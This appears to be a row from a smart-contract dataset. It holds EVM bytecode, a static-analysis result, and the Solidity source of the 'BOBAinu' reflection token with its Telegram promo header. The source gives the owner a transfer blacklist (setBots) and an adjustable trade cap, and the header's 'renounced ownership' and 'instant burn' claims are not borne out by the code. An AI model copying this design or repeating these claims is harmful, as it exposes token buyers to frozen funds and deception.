f7431c99f827d44a445ca624176a816040518082815260200191505060405180910390a150565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156119d557600080fd5b80600154101515156119e657600080fd5b80600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515611a5557600080fd5b8060016000828254039250508190555080600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055507f702d5967f45f6513a38ffc42d6ba9bf230bd40e8f53b16363c7eb4fd2deb9a44816040518082815260200191505060405180910390a150565b6000600a60149054906101000a900460ff1615611c3f57600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e84846000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b1515611c1d57600080fd5b6102c65a03f11515611c2e57600080fd5b505050604051805190509050611c4c565b611c498383612a3e565b90505b92915050565b60035481565b60066020528060005260406000206000915054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611cd357600080fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507fd7e9ec6e6ecd65492dce6bf513cd6867560d49544421d0783ddf06e76c24470c81604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611e1057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515611e8757806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611ee757600080fd5b600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611f3f57600080fd5b611f4882611239565b90506000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550806001600082825403925050819055507f61e6e66b0d6339b2980aecc6ccc0039736791f0ccde9ed512e789a7fbdd698c68282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15050565b60406004810160003690501015151561202657600080fd5b600082141580156120b457506000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b1515156120c057600080fd5b81600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a3505050565b60008060006060600481016000369050101515156121c857600080fd5b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054935061227061271061226260035488612a0390919063ffffffff16565b612ac590919063ffffffff16565b92506004548311156122825760045492505b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84101561233e576122bd8585612ae090919063ffffffff16565b600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6123518386612ae090919063ffffffff16565b91506123a585600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ae090919063ffffffff16565b600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061243a82600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612af990919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008311156125e4576124f983600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612af990919063ffffffff16565b600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a35b8573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a350505050505050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000806040600481016000369050101515156126b657600080fd5b6126df6127106126d160035487612a0390919063ffffffff16565b612ac590919063ffffffff16565b92506004548311156126f15760045492505b6127048385612ae090919063ffffffff16565b915061275884600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ae090919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127ed82600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612af990919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000831115612997576128ac83600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612af990919063ffffffff16565b600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a35b8473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505050565b6000806000841415612a185760009150612a37565b8284029050828482811515612a2957fe5b04141515612a3357fe5b8091505b5092915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000808284811515612ad357fe5b0490508091505092915050565b6000828211151515612aee57fe5b818303905092915050565b6000808284019050838110151515612b0d57fe5b80915050929150505600a165627a7a72305820aedd59d6dd9c115674ca8eb6db0aa99f179157b7e6f396eaec38c167538c0ef60029
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
6,947
0xf99a761b86b96f8fdc62442e89bbdb95f1b50a2c
/* ╭━━╮╭━━━┳━━╮╭━━━╮╭━━┳━╮╱╭┳╮╱╭╮ ┃╭╮┃┃╭━╮┃╭╮┃┃╭━╮┃╰┫┣┫┃╰╮┃┃┃╱┃┃ ┃╰╯╰┫┃╱┃┃╰╯╰┫┃╱┃┃╱┃┃┃╭╮╰╯┃┃╱┃┃ ┃╭━╮┃┃╱┃┃╭━╮┃╰━╯┃╱┃┃┃┃╰╮┃┃┃╱┃┃ ┃╰━╯┃╰━╯┃╰━╯┃╭━╮┃╭┫┣┫┃╱┃┃┃╰━╯┃ ╰━━━┻━━━┻━━━┻╯╱╰╯╰━━┻╯╱╰━┻━━━╯ TG: t.me/BobaInu ✔️ No pre-sale ✔️ No team & marketing tokens ✔️ Locked Liquidity ✔️ Renounced ownership ✔️ Reflection rewards to holders & team ✔️ 1,000,000,000,000 Total Supply ✔️ 50% Instant Burn */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract BOBAinu is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; mapping (address => bool) private bots; mapping (address => uint) private cooldown; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "t.me/BobaInu"; string private constant _symbol = 'BOBAinu'; uint8 private constant _decimals = 9; uint256 private _taxFee = 2; uint256 private _teamFee = 13; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) public { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) { require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only"); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = false; _maxTxAmount = 4250000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a146103c2578063c3c8cd8014610472578063c9567bf914610487578063d543dbeb1461049c578063dd62ed3e146104c657610114565b8063715018a61461032e5780638da5cb5b1461034357806395d89b4114610374578063a9059cbb1461038957610114565b8063273123b7116100dc578063273123b71461025a578063313ce5671461028f5780635932ead1146102ba5780636fc3eaec146102e657806370a08231146102fb57610114565b806306fdde0314610119578063095ea7b3146101a357806318160ddd146101f057806323b872dd1461021757610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610501565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610168578181015183820152602001610150565b50505050905090810190601f1680156101955780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101af57600080fd5b506101dc600480360360408110156101c657600080fd5b506001600160a01b038135169060200135610527565b604080519115158252519081900360200190f35b3480156101fc57600080fd5b50610205610545565b60408051918252519081900360200190f35b34801561022357600080fd5b506101dc6004803603606081101561023a57600080fd5b506001600160a01b03813581169160208101359091169060400135610552565b34801561026657600080fd5b5061028d6004803603602081101561027d57600080fd5b50356001600160a01b03166105d9565b005b34801561029b57600080fd5b506102a4610652565b6040805160ff9092168252519081900360200190f35b3480156102c657600080fd5b5061028d600480360360208110156102dd57600080fd5b50351515610657565b3480156102f257600080fd5b5061028d6106cd565b34801561030757600080fd5b506102056004803603602081101561031e57600080fd5b50356001600160a01b0316610701565b34801561033a57600080fd5b5061028d61076b565b34801561034f57600080fd5b5061035861080d565b604080516001600160a01b039092168252519081900360200190f35b34801561038057600080fd5b5061012e61081c565b34801561039557600080fd5b506101dc600480360360408110156103ac57600080fd5b506001600160a01b03813516906020013561083d565b3480156103ce57600080fd5b5061028d600480360360208110156103e557600080fd5b81019060208101813564010000000081111561040057600080fd5b82018360208201111561041257600080fd5b8035906020019184602083028401116401000000008311171561043457600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610851945050505050565b34801561047e57600080fd5b5061028d610905565b34801561049357600080fd5b5061028d610942565b3480156104a857600080fd5b5061028d600480360360208110156104bf57600080fd5b5035610d29565b3480156104d257600080fd5b50610205600480360360408110156104e957600080fd5b506001600160a01b0381358116916020013516610e2e565b60408051808201909152600c81526b742e6d652f426f6261496e7560a01b602082015290565b600061053b610534610e59565b8484610e5d565b5060015b92915050565b683635c9adc5dea0000090565b600061055f848484610f49565b6105cf8461056b610e59565b6105ca85604051806060016040528060288152602001611fc0602891396001600160a01b038a166000908152600460205260408120906105a9610e59565b6001600160a01b03168152602081019190915260400160002054919061131f565b610e5d565b5060019392505050565b6105e1610e59565b6000546001600160a01b03908116911614610631576040805162461bcd60e51b81526020600482018190526024820152600080516020611fe8833981519152604482015290519081900360640190fd5b6001600160a01b03166000908152600760205260409020805460ff19169055565b600990565b61065f610e59565b6000546001600160a01b039081169116146106af576040805162461bcd60e51b81526020600482018190526024820152600080516020611fe8833981519152604482015290519081900360640190fd5b60138054911515600160b81b0260ff60b81b19909216919091179055565b6010546001600160a01b03166106e1610e59565b6001600160a01b0316146106f457600080fd5b476106fe816113b6565b50565b6001600160a01b03811660009081526006602052604081205460ff161561074157506001600160a01b038116600090815260036020526040902054610766565b6001600160a01b0382166000908152600260205260409020546107639061143b565b90505b919050565b610773610e59565b6000546001600160a01b039081169116146107c3576040805162461bcd60e51b81526020600482018190526024820152600080516020611fe8833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b604080518082019091526007815266424f4241696e7560c81b602082015290565b600061053b61084a610e59565b8484610f49565b610859610e59565b6000546001600160a01b039081169116146108a9576040805162461bcd60e51b81526020600482018190526024820152600080516020611fe8833981519152604482015290519081900360640190fd5b60005b8151811015610901576001600760008484815181106108c757fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790556001016108ac565b5050565b6010546001600160a01b0316610919610e59565b6001600160a01b03161461092c57600080fd5b600061093730610701565b90506106fe8161149b565b61094a610e59565b6000546001600160a01b0390811691161461099a576040805162461bcd60e51b81526020600482018190526024820152600080516020611fe8833981519152604482015290519081900360640190fd5b601354600160a01b900460ff16156109f9576040805162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015290519081900360640190fd5b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179182905590610a429030906001600160a01b0316683635c9adc5dea00000610e5d565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610a7b57600080fd5b505afa158015610a8f573d6000803e3d6000fd5b505050506040513d6020811015610aa557600080fd5b5051604080516315ab88c960e31b815290516001600160a01b039283169263c9c653969230929186169163ad5c464891600480820192602092909190829003018186803b158015610af557600080fd5b505afa158015610b09573d6000803e3d6000fd5b505050506040513d6020811015610b1f57600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301525160448083019260209291908290030181600087803b158015610b7157600080fd5b505af1158015610b85573d6000803e3d6000fd5b505050506040513d6020811015610b9b57600080fd5b5051601380546001600160a01b0319166001600160a01b039283161790556012541663f305d7194730610bcd81610701565b600080610bd861080d565b426040518863ffffffff1660e01b815260040180876001600160a01b03168152602001868152602001858152602001848152602001836001600160a01b0316815260200182815260200196505050505050506060604051808303818588803b158015610c4357600080fd5b505af1158015610c57573d6000803e3d6000fd5b50505050506040513d6060811015610c6e57600080fd5b505060138054673afb087b8769000060145563ff0000ff60a01b1960ff60b01b19909116600160b01b1716600160a01b17908190556012546040805163095ea7b360e01b81526001600160a01b03928316600482015260001960248201529051919092169163095ea7b39160448083019260209291908290030181600087803b158015610cfa57600080fd5b505af1158015610d0e573d6000803e3d6000fd5b505050506040513d6020811015610d2457600080fd5b505050565b610d31610e59565b6000546001600160a01b03908116911614610d81576040805162461bcd60e51b81526020600482018190526024820152600080516020611fe8833981519152604482015290519081900360640190fd5b60008111610dd6576040805162461bcd60e51b815260206004820152601d60248201527f416d6f75